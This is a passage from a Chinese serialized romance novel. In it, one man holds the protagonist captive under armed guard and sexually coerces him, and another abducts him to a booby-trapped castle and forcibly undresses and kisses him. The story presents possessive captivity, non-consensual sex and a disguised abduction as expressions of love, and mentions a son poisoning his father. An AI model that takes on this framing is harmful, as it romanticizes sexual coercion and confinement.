却仿佛在黑暗里长了眼睛一样,不紧不慢地说:“外面的保镖都配备了麻.醉.枪,悯之如果不想挨上一枪的话, 就乖乖坐下来。” 陈悯之跑到一半的身体僵硬了。 两秒后,他慢吞吞地坐会了自己位置上。 泉水似的钢琴声依旧没停,甚至在男人说话的时候,那音乐声也没有丝毫的迟滞,男人像是已经将这首曲子弹了很多遍,早已烂熟于心。 顾明珏的琴技无疑是高超的,乐声的优美程度与专业钢琴家比起来也不遑多让,但此刻陈悯之却已经没有心思去听了。 他像是一只被人逮住、捆在案板上的羔羊,只等着悬在头顶的铡刀落下。 曲终,顾明珏的指尖缓缓从琴键上离开,对他道:“过来。” 男人的声音很平静,然而越是平静,只让人觉得暴风雨来临的时刻愈加逼近,让陈悯之感到不安。 他很小步地往台上挪动着步子。 顾明珏也没有催他,男人向来是很有耐心的。 然而一共就这么远的距离,陈悯之步子再小,也有走到尽头的时候。 陈悯之看着坐在琴凳上,神色淡淡的男人,忽然没来由地感到害怕,小小声说:“顾明珏” 顾明珏却一伸手,将他抱到了怀里。 陈悯之没有挣扎,可紧紧攥着男人衣服的手指却泄露了他的紧张。 顾明珏握着他的手,将他扒拉在衣服上的指头拿下来,旋即,带着他的手放在了琴键上。 男人宽大的手掌覆盖着他的右手,在钢琴上弹出刚才那首曲子的旋律。 没有了左手的和声,这首曲子听起来依旧是好听的,只是,单调的音节响在空荡荡的大厅内,仿佛显得更加寂寞了。 曲调孤单,弹奏的两人姿态却是温暖偎依的,顾明珏一边弹,一边在他耳边说:“这首曲子叫《思慕》,是我母亲生前所作,她还年轻的时候,常常来这里弹奏它。” 陈悯之一愣:“你母亲” 顾明珏之前说要带他见父母,还说什么母亲会喜欢他,他怎么也没想到顾明珏的母亲竟然已经过世了。 顾明珏的声线依旧很平静,像是一个旁观者,在叙述与自己无关的故事:“因为,这座音乐厅是她嫁来顾家后,父亲专门为她在顾宅里建的。” “她喜欢弹琴,我父亲喜欢听她弹琴。从前,她也是个小有名气的钢琴家,在嫁过来之后,却只为我父亲一人演奏。” 陈悯之不知道顾明珏为什么突然和他说这些,但看顾明珏好像没有计较他逃跑的事情,便巴不得男人多说一些,免得像之前一样咬着他的嘴巴惩罚他,于是呆呆地附和:“那、那还挺浪漫的。” 然而下一刻,他听见顾明珏声线漠然地道:“后来,我父亲出轨了。” 与许多没有感情,单纯是为了利益结合的商业联姻不同,顾明珏的父母虽然是联姻,但两人却是情投意合,婚后过得蜜里调油,没多久就生下了顾明珏。 但人心易变,婚后不过三年,顾父便对日日相见的妻子腻味了,出轨了。 顾明珏的母家是个小家族,需要依靠顾家的荫蔽,母亲想要离婚,却被家族逼着继续留在顾家,家族需要她永远都是顾夫人,这样才能为家族带来长远的利益。 至于顾父,因为知道母亲的家族需要仰仗自身,所以并不把母亲家族放在眼里,对自己在外面找情人的事情从不遮掩,甚至偶尔还会把情人带到家里来。只不过在外,他依旧对母亲款款情深,毕竟他只是需要满足自己的欲.望,并不需要家族丑闻。 母亲恨透了父亲,却因为家族的逼迫不得不讨好父亲,并对外界扮演一个家庭美满,温柔淑慧的好妻子形象,长期下来终于精神分裂了。 她发疯的时候会用指甲掐顾明珏,用针扎进他的皮肤里,把她所有的痛苦和恨意发泄在他身上,说她恨他,恨他是那个男人的孽种。 但当她清醒的时候,又会紧紧抱住顾明珏,亲吻他的额头和脸颊说爱他。 她会抚摸着顾明珏从出生起便戴在脖子上的玉牌,说他的名字是她亲自取的,望他人如良玉,温润明朗。 顾明珏十岁那年,母亲自杀了,甚至连遗书也没留下。那块玉牌,成了母亲唯一留给他的东西。 十四岁那年,顾明珏初步触及到顾家的权力中心,于是他开始了自己漫长的复仇。 顾父有慢性疾病,需要常年吃药,但俗话说是药三分毒,正因为需要常年吃药,对于各种药物的副作用控制便需要格外小心。 顾明珏不过是胁迫了家庭医生,让他极其隐蔽地改变了几种药物的配比,顾父的病情便在经年累月中愈发严重,去医院查也查不出来。 终于,在今年年初,病入膏肓的顾家家主倒下了,顾明珏接替了他的位置。 讲述这一切的时候,顾明珏的语气从头到尾都是平静的,平静到近乎漠然的地步,好似这故事中的主人公并不是他自己。 陈悯之却仿佛切身实地地感受到了他身上的痛苦。 怎么会有妈妈,用针扎自己的小孩呢那这么看,顾明珏其实也挺可怜的怪不得长大了心里有点变态,也不全是他的错 陈悯之问:“那你妈妈呢?她她的骨灰,现在埋在哪里?” 顾明珏说:“在顾宅后山,她很喜欢的一片湖边。” 像是想到什么,男人的眸光终于不再似之前那般漠然,而是染上了陈悯之熟悉的温润:“悯之,你知道吗?遇到你的那天,是我母亲的忌日。” 那天晚上,他只身站在湖边,握着母亲留给他的玉牌出神,玉牌却从他手中滑落,掉进了湖里。 他立刻跳下湖去捞,没捞到玉牌,却捞到了一个误以为他要自杀,明明不会水还要跳下来救他的少年。 听完前因后果的陈悯之睁大眼睛:“所以、所以那天你是真有东西掉进了湖里” 顾明珏眉梢微挑:“嗯?悯之以为是什么?” 陈悯之欲哭无泪。 亏他还以为顾明珏是有精神疾病,下定决心要好好带他走出阴霾,在之后男人对自己一些亲密到有些奇怪的举动,根本没拒绝过 陈悯之:“可那块玉既然是你妈妈留给你的,我后来问你的时候,你为什么不去捡?还说不是什么重要东西” 顾明珏忽然笑了,那双清浅的眼眸凝望着他,里面是快要将他溺毙的深情:“因为,我找到了比那块玉更珍贵的东西。” 顾明珏此生没有得到过什么爱。 父亲不在乎他,只把他当做是继承家业的工具,而母亲对他的爱,则是断断续续,时有时无,十分的爱里掺杂了九分的恨。 但即使是这样,那剩下的、渺茫的一分,也算是顾明珏在短暂人生中,获得的唯一可以称之为爱的东西。 就在这时候,陈悯之懵懵懂懂、莽莽撞撞地闯入了他的人生。 他从最亲近的父母那里得到的永远只是冰冷、尖锐的东西,像是来自于父亲的漠视,像是冰冷的、刺入他身体里的坚硬针头。 可陈悯之和这一切都不一样。 从在湖里看清陈悯之的第一眼,顾明珏就明白这一点。 少年是柔软的,温暖的,乌黑的发,红润的唇,在湖里被他抱着时,望过来的眼神像是某种软乎乎的小动物。 少年的内心和他的外表一样柔软,他身上含着一种世所罕见的、温吞的、近乎愚钝的天真,对他身边的所有事物都抱有最大的善意与怜悯,像是一捧源源不断向外散发着温暖的火,让人忍不住地想要靠近。 对于一直在寒夜里踽踽独行的人来说,任何一点微弱的火光,都会让他拼了命地想要抓住。 因为遇到了生命中真正重要和珍贵的事物,所以,那块掉进湖里的玉便已不再重要。 过去的一切,过去有没有人爱他,都不重要了,重要的是将来会有人爱他,必须爱他,只能爱他。 顾明珏望着听懂他的话后,脸上浮现出失措的少年,像是安抚眸中惊慌的小动物般,轻轻抚上少年的脸颊:“悯之放心,我和父亲不一样,在喜欢你之前,我没有喜欢过别人,今后,我的身边也不会有除你以外的任何人。” 男人牵起他的手,在他手背上落下温柔而虔诚的一吻。 “我将一生对你忠贞。” 第42章 第 42 章 “不可以从老公身边逃跑…… 43 面对这样深情的表白, 很难有人不为之动容。 但陈悯之脸上没有一丝一毫的感动,有的只有茫然和慌张失措:“可是我不喜欢你啊。” 顾明珏笑了一下:“我知道。” 看上去无比柔软,无比温暖的少年, 对身边的任何人都抱有关怀与善意, 却是这个世界上最冷漠、最无情的人。 因为谁都无法走进他的心。 顾明珏早就知道这一点。 “所以,我不会说什么要追求你, 等你答应的那种话。” “因为你永远也不可能动心。” 顾明珏宽大手掌握着他的手,修长指节与他十指相缠,依然是那副温柔沉静的模样,可望向他的眸中却染上了一丝冷意:“悯之,我和母亲不一样。” “我不会做没有希望的等待。” 在这个世界上,等待是没有用的,等待换来的, 只有爱人的背叛与绝情。 陈悯之睁着一双黑白分明的大眼睛, 眼里含着浓浓的不解与委屈:“可是我不喜欢你,也没有让你等我” 顾明珏笑了。 少年天生的钝感成了他绝佳的防御城墙,水火不侵, 刀枪不破, 任凭顾明珏如何变着花样进攻, 他自八风不动。 像一只鲜美的果子,明明色泽艳丽诱人, 内里甜润多汁, 外表却裹着一层坚硬又厚实的保护壳, 冷漠又残忍地让人只能望洋兴叹。 但时间是最强大的武器。 任凭外面那层皮再厚, 年年月月,日复一日地磨,也总有被剥开的那一天。 顾明珏有的是时间和耐心。 他望着少年白皙柔软的脸, 温柔地说:“悯之,不管你喜不喜欢我,这辈子都只能跟我在一起。” 陈悯之惶惶望着男人,乌黑浓密的眼睫像是蝴蝶翅膀一样惊颤。 尽管他在许多方面的反应总是很迟钝,但在此刻也不得不模模糊糊地感觉到,顾明珏的爱与秦陌的爱是不一样的。 秦陌的爱是坚硬的,锋利的,像是一把毫无预兆地刺入他人生中的长.枪,但至少,他能够控制它的方向。 而顾明珏的爱意则像是水一样,看似温柔,其下却埋藏着如同大海一样磅礴的力量,强势得让人不容拒绝,更无法控制它的走向。 顾明珏是比秦陌,更加可怕的存在。 望着男人渐渐染上深暗的眸子,陈悯之脑袋上悬着的小动物雷达吱吱作响,敏锐地意识到有什么危险的事要发生了,他趁着男人毫无防备之际,猛地把人往外一推,从男人怀里跳下来,慌慌张张地想跑。 虽然他也不知道要跑到哪里去,但总觉得再在顾明珏身边待下去,他下一刻就要被吞掉了。 顾明珏并没有去追他,仍然身段优雅地坐在琴凳上,仿佛这一场表演还没有谢幕。 只是,在陈悯之快要跑到音乐厅出口,看到门外围着的一群手持麻.醉枪的保镖后,他的脚步僵硬在了原地。 少年呆呆地站着,既没办法出去,也不想回去。 不知过去多久,一只温暖干燥的手掌牵住了他的手,身后响起男人温柔的声音:“悯之,我有礼物要送给你。” 陈悯之失魂落魄地被顾明珏牵了回去,连男人说什么他也没听清。 直到看见男人从礼盒里拿出来的东西,他才意识到有哪里不对劲。 这是一套制服,颜色与款式和当初他在会所里穿的那套很相似,但不同的是,那套虽然也带有洛丽塔元素,却是男式的制服,而这套却是货真价实的女仆装,还配了一个纯白色的兔耳朵发箍。 顾明珏将他抱得坐在合上盖子的钢琴上:“穿上试试。” 陈悯之看着那带着纯白蕾丝花边的裙摆,抗拒地往后退:“我不要,我不要穿这个。” 顾明珏叹气:“悯之答应过的事情,怎么能食言呢。” 陈悯之:“我什么时候答应了?” 顾明珏十分有耐心地解释道:“之前你因为消极怠工,说要让我扣你工资的时候。” “当时,悯之答应过我,会认下惩罚。” 男人温柔地说:“这就是惩罚。” 陈悯之不敢置信地看向顾明珏,怪不得当时他问顾明珏罚什么,顾明珏说还没想好,原来是在这儿等着他。 顾明珏一定是早就打算要这么欺负他了! 陈悯之简直没想到,此人的心机和城府竟然能深到如此地步,亏他之前还觉得顾明珏是什么知书达理的温润君子,现在看来,这简直是只披着羊皮的狼,心都是黑的。 他一时间又羞又气,抓着那套女仆裙朝顾明珏砸过去:“食言就食言,反正我不穿!” 顾明珏接住衣服,看过来的眸子染上一抹幽暗:“宝宝怎么能偏心呢。” “在秦陌面前,宝宝就愿意穿,怎么在我面前,宝宝就不愿意了?” 陈悯之一愣:“你怎么知道我在秦陌面前穿过” 旋即,在见识过身边的数个变态后的少年,现在终于变聪明了一点:“你从那时候就开始监视我了!” 顾明珏叹了口气:“是我不好,当时我不在A市,只叫了人跟着保护你,却没想到让秦陌有了可乘之机。” 陈悯之现在再也不相信这些男人的诡辩了:“什么保护我,你根本就是早就对我心怀不轨!变态!变态!” 他一边骂着,一边扭着腰,想要从钢琴下面跳下去。 但男人抱他的姿势非常巧妙,他现在是两.腿大开着坐在钢琴上,而顾明珏卡在他双腿之间,他想要跳下去,就得把腿抬起来绕过顾明珏。 这个动作对被半控制着的他来说显然有些困难了,顾明珏也不会给他这个机会,男人大掌掐住他一边膝弯,柔声问:“是宝宝自己穿,还是我帮宝宝穿?” “我不穿!变态!变——唔!” 少年叽喳叫唤的嘴巴被男人堵住,嘴里骂骂咧咧的词语变成了喉咙里模糊的哼声,被男人尽数吞没。 制服少年其实根本用不了什么手段,只需要一直把他亲到脱力,亲到脸颊泛红唇瓣肿起,他就只能睁着一双被亲懵了的、含着水汽的眼睛失神地望着男人,再也没力气挣扎了。 最后还是顾明珏帮少年换上的。 少年穿着黑色底的女仆裙,泡泡袖下露出一双雪白的胳膊,腰身被纯白色的围腰收束得很纤细,是很适合握在掌中把玩的漂亮弧度。 黑色裙摆上缀着白色的荷叶边,与精致的法式蕾丝层层叠叠地累上去,款式华丽而繁复,不像是给女仆穿的,倒像给公主穿的。 “宝宝好漂亮。”顾明珏视线落在他身上,眼底全是惊艳。 尽管他早知道陈悯之穿上这套衣服会很美,却也没想到,能美成这样。 少年五官漂亮柔软,脸颊上泛着尚未褪去的粉色,黑发在刚才的亲吻中被揉得有些凌乱,头顶还翘着一根呆毛,显得整个人呆呆的懵懵的。 像是一颗甜软多汁、只等着人来吃的果子。 陈悯之迷糊地看着男人,他的脑子转得本就不是很快,在缺氧状态下就更加迟钝了,全程只顾着大口喘气吸氧,晕晕乎乎地就被男人换完了衣服,脑袋上都被戴上了兔耳朵。 到现在才反应过来,慌慌张张地扭着身体要跑。 下一刻,他被男人牵着围裙背后的蝴蝶结抓了回来。 顾明珏亲吻着他的耳朵说:“宝宝还记得我们之间的规则吗?” 陈悯之十根指头紧紧抓着钢琴的盖子,像只拼命抓着东西不愿意被人抱到怀里去的猫儿,也不去回答男人的问题,只不管不顾地挣扎着:“放开!放开我!” 顾明珏恍若未闻,继续说着自己的话:“不可以提秦陌的名字,不可以在脑袋里想别的男人,还有,最重要的一条。” “不可以从老公身边逃跑。” 陈悯之挣扎了半晌,见无论如何也跑不掉,便只能跟男人讨价还价:“我没有提他的名字,也没有想他。” 少年睁着那双慌张的,圆圆的黑眼睛:“你你不能罚我。” 顾明珏:“嗯,在前两条上,宝宝很乖。” “但是,宝宝骗老公说要回老家,却在半路偷偷逃跑了。” “宝宝违反了最重要的一条规则,所以,要受到最严厉的惩罚。” 陈悯之害怕地眼睫颤颤,还没来得及问最严厉的惩罚是什么,男人指骨修长的手却已经没入了他的裙摆。 下一刻,他猛然睁大了眼睛,从喉咙中发出一声呜咽。 顾明珏倾身凑近,与他紧紧相贴,咬着他的耳朵,阴沉沉道:“我找到你那天,秦陌操.你了?出来的时候一副腿都合不拢的样子,肚子里吃了多少东西?” 陈悯之乌黑的眼睛睁得圆圆的,几乎不敢相信自己所听到的。 他以为顾明珏再怎么变态,至少也是个修养良好的贵公子,怎么能怎么能说出这么下.流的话 “我没有”陈悯之脑子全乱了,只能下意识地反驳,因为他凭借本能知道,要是他肯定了男人的话,接下来一定会受到男人更恶劣的欺负。 但他的反驳在此刻无疑惹怒了男人,顾明珏冷笑一声:“没有什么?没有和秦陌上床,还是没有在警察面前包庇他?” 一想到那天陈悯之在警察面前对秦陌的包庇,顾明珏内心就像是被嫉妒的锁链绞缠,扭曲到快要疯掉。 他顾忌着少年的胆小,这些时日始终克制着自己,没有将内心扭曲的恶.欲放出来,大多数时候仍然是那副谦谦君子的样子,可陈悯之竟然还敢逃跑。 而被压抑的欲.望不会消失,只会在黑暗中如同藤蔓般疯长。 耳边响起的声音森森的:“在我找到你之前,他还操.了你几次?” 男人眼中弥漫着疯狂的阴暗与妒火,与平日里那个温润君子判若两人,像是在浓烈的不甘与嫉恨之下,终于撕掉了那层温柔和善的伪装,暴.露出其疯狂而扭曲的内里。 望着那双近在咫尺的森黑眼眸,陈悯之吓呆了,男人还没做什么他就已经呜呜地哭起来:“呜、没有,没有了,只有那一次” 少年像只慌不择路的兔子,吓得屈着双腿在钢琴上乱爬,但琴盖本就狭窄,他没爬出几步就被男人抓着纤细的脚踝拖了回来。 好在,不知是他的回答取悦了男人,还是他这幅可怜的模样实在惹人心软,男人脸上的神情总算是不像之前那般可怖了。 昔日的温润君子,此刻却仿佛成了一个阴晴不定的怪物,指腹揉.捏着他的唇瓣,轻声问:“真的只有一次?” 陈悯之颤颤巍巍地点头:“真的。” 顾明珏温柔地笑了:“那么,老公也只惩罚宝宝一次。” “什”陈悯之惊惶得瞳孔放大,而男人已经撩开他的裙摆,低下了头。 没一会儿,他咬着自己的手指哭了出来。 顾明珏将唇边的水渍卷入口中,见少年哭得可怜,两只雪白的兔耳朵一晃一晃的,又低下头想要用亲吻去安抚少年。 但少年这次无论如何也不让他亲了,扭着脸一边哭一边说:“脏不要亲我。” 顾明珏笑了,摸着少年头顶软软的兔耳朵:“宝宝好娇,自己的怎么还嫌弃?” 陈悯之拿腿蹬人:“离我远一点。” 但男人却抓住他踹在身上的那只脚,放到唇边亲了一口:“宝宝怎么这样坏,自己吃饱了,就不管老公的死活。” 陈悯之眼睫上挂着泪珠,红着眼睛,很凶地瞪他:“谁吃饱了!” 顾明珏:“哦?那就是还没有吃饱?” 男人再一次低头下去。 最后陈悯之只能哭着说:“吃饱了吃饱了” 顾明珏爱怜地吻了吻他的脸,眸中情绪深暗,声线低哑地在他耳边说:“宝宝,秦陌得到的,我也要得到。” * 顾宅里突然多了一位小夫人,许多东西需要添置,包括伺候小夫人的仆从。 不过,大概是因为知道小夫人喜欢女人,在某人的刻意授意下,这些新增的仆从大多都是男人,还都是些长得很丑的男人。 丑到连顾明珏都懒得多看两眼。 至于从前稍微有几分姿色的女佣人,都收到了高额的赔偿金,被遣散了。现在顾宅里剩下的,不是长相普通的女人,就是长相丑陋的男人。 尽管没有人敢说,但其实所有人都心知肚明,自家家主,似乎非常害怕自己会被夫人给戴绿帽。 明明那位小夫人看起来单纯又老实,并不像是会去拈花惹草的那种人。 于是没有人想到,在一个风和日丽的下午,小夫人跟新来的一名男仆私奔了。 第43章 第 43 章 神会怜悯,也会赦免。…… 44 繁杂的街景飞速在车窗外倒退, 陈悯之坐在副驾驶上,神情还有些恍惚。 顾宅防备森严,程度甚至比秦宅更甚, 他平时去哪儿都有人跟着, 陈悯之原以为自己会一直被困在那里了。 可前几天忽然来了一个男仆,说他可以带他离开这里, 但需要他的配合。 在被变态骗过那么多次后,陈悯之已经不再像之前那样轻信人,没有立刻答应,男仆也没有逼他,而是说给他几天考虑的时间。 而在这几天之内,陈悯之自然又是被顾明珏从里到外吃了个遍。 男人倒是还顾忌着他的身体,没有做到最后一步, 但除此之外, 几乎也什么都做过了。 陈悯之的嘴巴就没有一天是不肿的。 他破罐破摔的想,被骗就被骗吧,就算再被人骗一次, 情况也不会比现在更糟糕了。 于是陈悯之和这个新来的男仆私奔了。 只是此刻他望着驾驶座上神情愉悦的男人, 明明这张脸是全然陌生的, 并且普通得一眼就能淹没在茫茫人海中,他却始终觉得哪里有一种挥之不去的熟悉感。 陈悯之犹豫着开口:“你到底是谁?为什么要帮我?” 男人目视着前方, 没有回答, 仿佛在专心致志地开车。 可他的喉结却清晰地滚动了一下, 甚至呼吸都陡然变得有些粗重, 像是极力在克制着什么。 这种状态就像是饿到极点、馋得口水都快从尖牙上滴落下来的大型食肉动物。 陈悯之敏锐地觉察到有哪里不对劲,戒备地朝着车窗角落里退了退:“停车,我要下车。” 车没有停, 反而比之前飙得更快了。 陈悯之像是一只此刻才发觉自己上了贼船的兔子,也不顾车辆还在高速行驶,急急忙忙就去开车门,想要跳车逃跑。 可早在他上车的那一刻,车门就已经被锁死了。 陈悯之彻底慌了:“你、你要带我去哪里!” 男人终于开口了,声音低沉而嘶哑:“去一个安全的地方。” 陈悯之问:“什么地方?” 男人唇角勾了勾,像是心情很愉悦地道:“我们的家。” “什么什么家” 陈悯之又惊又愕,他根本不认识眼前这个男人,哪里和他有什么家了。 他依旧不管不顾地想要逃跑,拼了命地去拽车门把手:“停车,停车你听见没有!我要下车!” 但不管他后面再怎么挣扎叫喊,男人都没有再回答一句话,只有那颗凸起到异常明显的喉结,一路上不停地上下滑动,不知道咽了多少次口水。 车辆驶入一片幽森的山林,再七拐八弯了不知道多少次,终于停在了一幢漂亮的房屋前。 说是房屋不太准确,这实际上是一座高大的城堡,外形是欧式风格,锥形的尖顶,外墙上是精致繁复的浮雕,不过色泽却很明丽,以纯白、天蓝、浅粉为主,像是童话故事里给公主住的城堡。 如果只是城堡,那当然没什么可怕的,但令人胆寒的是,这座漂亮的城堡之外,围绕着一圈大型机械陷阱。 绿油油的草坪后面,是深达数十米的环形坑,底部竖着钢制的尖刺,漂亮的护城河后面,是足有两层楼高的电网,还有更多,隐在后面看不太清楚的东西 漆黑、坚硬、冰冷的机械,仿佛伫立在此的死神镰刀,每一件都带着能直取人性命的锋利,与后方漂亮明丽的城堡形成鲜明对比,看了直让人汗毛倒竖。 陈悯之脸色苍白地看着车窗外的一切,声音都在发颤:“这是哪里?” 驾驶座上的男人并没有回答他的话,而是从车座中间的置物箱内取出了一瓶卸妆水、一包化妆棉和一包湿巾,对着镜中慢条斯理地卸起妆来。 他似乎很讨厌这张被画出来的脸,一般卸一边念叨着丑死了,卸得也很细致,直到把脸上的每一粒妆粉都完全卸干净。 陈悯之看着最后露出来的那张脸,脸上的表情已经不能用惊愕来形容了,而是像看到怪物一般的惊恐。 “陆承轩怎么怎么会是你!” 陆承轩用湿巾擦了擦脸,冲他露出一个小狗般明亮的笑容:“哥哥!” 随即又变脸似的露出一副失落的神情:“哥哥这么久了都没认出来我,我好难过哦。” 极度的震惊下,陈悯之喉咙就像被堵住了,一个字也说不出来。 他在网上刷到过一些化仿妆的博主,知道现在的化妆技术很厉害,可以把一个人化得像另一个人,但他怎么也没想到陆承轩竟然也会化妆,而且技术远超他看过的那些化妆博主,几乎到了换脸的地步,如果不是陆承轩忽然拿出工具卸妆,他根本都不知道他脸上是有妆容的。 可他此刻看着陆承轩的脸,脑子里又想起来在密室里看到过的那些画作和雕像是了,陆承轩的绘画和雕塑技艺都那么好,小小易个容,对他来说根本不在话下。 怪不得他第一次听这个男仆的声音就觉得嘶哑得不正常,现在想来,也是陆承轩故意装出来骗他的。 “骗子!骗子!”陈悯之瞪着陆承轩,气得眼睛都红了。 陆承轩倾身过来替他解开安全带:“好啦,好啦,我是骗了哥哥,但是哥哥也骗了我嘛,明明说要过来和我一起住,却丢下我一个人跑了,这样一来,我们就扯平啦。” 他说得振振有词,好像完全不会因此而愧疚一样,还睁着一双无辜的浅褐色狗狗眼:“哥哥,我们和好好不好嘛?” 陈悯之气极:“你明明知道我说的不是这个!你、你书房里那些东西那些” 想到那些画像和雕塑上的裸.体都是自己,陈悯之就觉得一身恶寒,难以启齿。 他不是陆承轩,没办法揣着明白装糊涂,有些事情既然知道了,他就不可能当做不知情,和陆承轩玩儿从前那种竹马情深的把戏。 提到这茬儿,陆承轩竟然还很得意:“那些都是我画了很久的作品呢,只有最完美的才能被留下来,不过哥哥不喜欢它们,我就把它们都扔掉了,哥哥不要再生我的气啦。” 虽然哄着人,陆承轩脸上却并没有多少慌张的神情,反而是一种安心和笃定。他在陈悯之身边这么多年,最知道少年的心有多软,从前也不是没有被他惹生气的时候,最多也不过半天就被他哄好了。 可他没想到的是,这次陈悯之猛地推开了他想要靠近的身体,整个人都在微微发抖:“陆承轩,为什么我一直把你当成最好的朋友,你为什么要这样哄骗我!羞辱我!” 陆承轩:“哥哥,我没有想要骗你的” “不要再叫我哥哥!” 闻言,陆承轩脸上的笑容终于消失了,俊朗眉眼低落下来,有些受伤的望着他:“我只是喜欢哥哥,喜欢得快要疯掉了。” 喜欢他? 陈悯之只觉得眼前的一切荒唐到可笑。 秦陌也说喜欢他,顾明珏也说喜欢他,可偏偏他们对他做的,都是些禽兽不如的事,天底下哪儿有这样的喜欢? 向来柔软的少年,像是终于被逼得濒临崩溃,尖叫着说出了最能将人刺伤的话语:“我不要你的喜欢!拿着你的喜欢滚!” 空气中有长达半分钟的寂静。 就像是夏日的雷声过后,那被衬托得异常安静的几秒钟时间,静得了无生机,无端让人觉得害怕。 陆承轩盯着他,一双眼珠子一动不动,让人想起一些冷血动物锁定猎物时,那种机械、僵硬、又森然的眼神:“我不告诉哥哥,就是因为会得到这样的结果啊。” “哥哥嘴上说着我是最重要的人,永远不会丢下我,实际上在得知我的喜欢后,还是会抛弃我。” “小时候我们捡到一条几个月大的流浪狗,那只狗那么喜欢哥哥,一见到哥哥就要黏在哥哥身上不肯下来,可是后来哥哥还是说上学没办法照顾它,家里条件也不好,给不了它好的生活,把它送给了邻居。” “嘴上说着为了它好,做出来的却是最残忍的事,哥哥一直都是这样绝情的人呢。” 陈悯之不敢置信地看着陆承轩,他有些不能理解话题怎么会变成这样,和小时候那只狗有什么关系? 当时他养父母刚过世,他的确没有经济条件养那只狗啊,虽说狗狗其实给口饭吃就能活,但他不想要小狗跟着自己过苦日子,这有什么不对吗? 陆承轩说的说的好像反倒成了他的错一样,是因为他的绝情,他的残忍和冷漠,才会让陆承轩出此下策,这样欺骗他。 陆承轩的视线如同毒蛇般黏附在他身上,依旧是那种属于冷血爬行动物的森冷目光,嘴角却咧开一个大大的笑容:“不过,没关系的。因为,哥哥以后,都再也跑不掉啦。” 陈悯之一路被男人抱进了城堡。 一开始,他当然是拼命挣扎的,但后来就乖乖不动了。 因为他看见了那些潜藏在漂亮风景之中的机关陷阱。 这些机关做得很是精巧,陆承轩踏过时,只听一片轧轧之声,那些冷硬可怖的钢铁机器就全部隐匿了起来,与城堡外围的风景融为一体,完全看不出下方埋藏着死神的镰刀。 故而,这座城堡看上去防守薄弱,连巡逻的保镖都没有几个,实际上却是一座牢不可破的囚笼。 陆承轩瞥见怀里紧紧抓着自己领口,脸色有些苍白的少年,唇角微微勾了勾。 他没有告诉陈悯之的是,这些机关看似可怖,但实际上对陈悯之却是完全不起作用的。 机关上安装了精密的红外识别系统,能够在安全距离内就识别出少年的靠近,然后启动自动锁定功能。 这是为了确保万一笼子里的少年不安分,要跑出去,这些机关绝对不会伤到他。 毕竟少年有多单纯和莽撞,陆承轩再清楚不过。 想到这里,他又在心底无奈地叹了口气。 原本他压根没打算修建这些机关的这座城堡只是他和哥哥的爱巢而已。 还不都是因为那些对哥哥虎视眈眈的臭狗!这些机关就是专为他们而建造的,防止他们来偷家,非要说对陈悯之有什么作用的话只不过是顺带吓唬一下胆小的少年,让他不敢私自逃跑罢了。 * 陈悯之怎么也没想到,陆承轩把他抱进城堡后的第一件事,就是给他洗澡。 要是单纯让他洗澡便罢了,可怕的是陆承轩还上手来扒他的衣服,说要亲自给他洗。 “哥哥身上沾了好多臭狗的味道,不洗干净怎么行呢?” 陆承轩死死盯着眼前衣衫半褪的少年,眼底阴狠的妒火像是要把双目灼穿。 少年雪白的脖颈和露出来的半边肩膀上都是痕迹,那是最亲密的人之间才能留下的,象征着占有与爱.欲的烙印。 他在哥哥身边守了那么多年,也就敢偷偷喝点汤罢了,却没想到因为自己一时的心软,竟让人抢先吃了满汉全席! “放开我!我自己洗!” 少年对男人眼底升起的阴暗欲.望浑然不觉,还在徒劳地挣扎着,却没想到下一刻,男人像是突然发了疯,恶狠狠地撕掉了他身上的衣服。 陈悯之惊恐地瞪大眼睛:“你做什——唔——” 他的话音被男人突然覆下来的亲吻吞没。 陈悯之从不知道,陆承轩的吻原来是这样霸道的。 大概因为他从未在清醒状态下,被陆承轩亲吻过。 平日里看上去乖巧又听话、像是只温顺的金毛犬一样的男生,此刻彻底暴露出男人贪婪又恶劣的本性,像是憋了太久的饿狼终于尝到了甜美的羊羔,势必要将其从皮到骨吃个干净。 男人叼着他的舌.头又咬又吸,粗大的舌.头缠着他的,令他连一句完整的话都说不出来,只能在喉咙里发出模糊的声音,像是小兽的呜咽。 口腔被人侵.犯得很凶,男人的舌.头又热又烫,粗暴又霸道地填满了他整个口腔,又亲得很深,几乎入到了喉咙口,把少年逼出了可怜的哭腔。 嘴里的水更是被男人一滴不剩地吃了个干净,男人凸起的喉结上下滑动,吃得啧啧有声,像是在吮吸什么甘美的汁液,一边吃,一边发出痴痴的喟叹:“好甜哥哥是甜的。” “唔陆承呜呜” 陈悯之被亲得泛起了生理性的泪水,两眼含泪地去推男人,下一刻,手却被男人抓起来,五根手指头都被人叼在嘴里舔.吮。 “呜、别舔了” 陈悯之快要崩溃了,他怎么也没想到被陆承轩舔手竟然要比被陆承轩亲更难以忍受,因为陆承轩简直就是狗舔骨头的那种舔法,把他每根指头缝里都舔遍了,弄得他整个手都湿漉漉的,像沾上了什么犬类的气味一样。 这种心理上的不适让陈悯之浑身起鸡皮疙瘩,他把手抽回来,像只无路可退的小动物,用手臂挡住自己光.溜.溜的上半身,圆眼睛戒备又害怕地看着男人。 却不知道这幅脆弱不堪折、漂亮又娇弱的模样,只会激起人心中更想要凌.虐他的欲.望。 陆承轩顺着他手臂遮挡的方向看去,眼眸顿时暗了。 他如同一只潜藏在枯枝败叶里的蟒.蛇,悄无声息地逼近了少年,轻声说:“哥哥被坏狗弄脏了,我来帮哥哥舔干净。” 说罢,他强硬地拉开少年当在胸前的双手,双眼猩红地盯着那块儿已经被人尝过不知道多少遍的地方,作势就要咬下去。 陈悯之吓得魂飞魄散,当即叫道:“我不理你了!陆承轩,你要是真敢我以后就再也不理你了!” 男人的动作顿住了。 陆承轩忽而抬眸望着他,眼里竟含了几分欣喜:“哥哥?” 陈悯之看着他这幅模样,不知为何,心里又泛起层层叠叠的酸意来。 * 陆承轩是陆家养在外面的私生子。 陆家的正牌少爷自出生起就体弱多病,医生说很可能活不到大,于是陆承轩成了替代陆少爷的工具。 因为只是一个替补用的工具,所以自然不必用心照看。 一开始,陆承轩住的是城里的富人区,上流阶层消息灵通,豪门私生子这种正常的事情根本算不得秘闻,故而,周围的所有人都知道陆承轩是见不得光、低人一等的东西。 周围的富二代小孩不愿意和他玩儿,唯一和他“玩儿”的小孩,也只不过是把他当做笑料捉弄罢了。 到底年纪尚小,又成日被排挤欺负,陆承轩没多久就生了病。 也正因为这场病,让陆父对这个私生子稍微多了一点重视。毕竟已经有了一个病秧子,要是剩下这个再养坏了,这半生心血可就白费了。 于是陆承轩被秘密带到了一个小城市,派保姆好生看顾着。 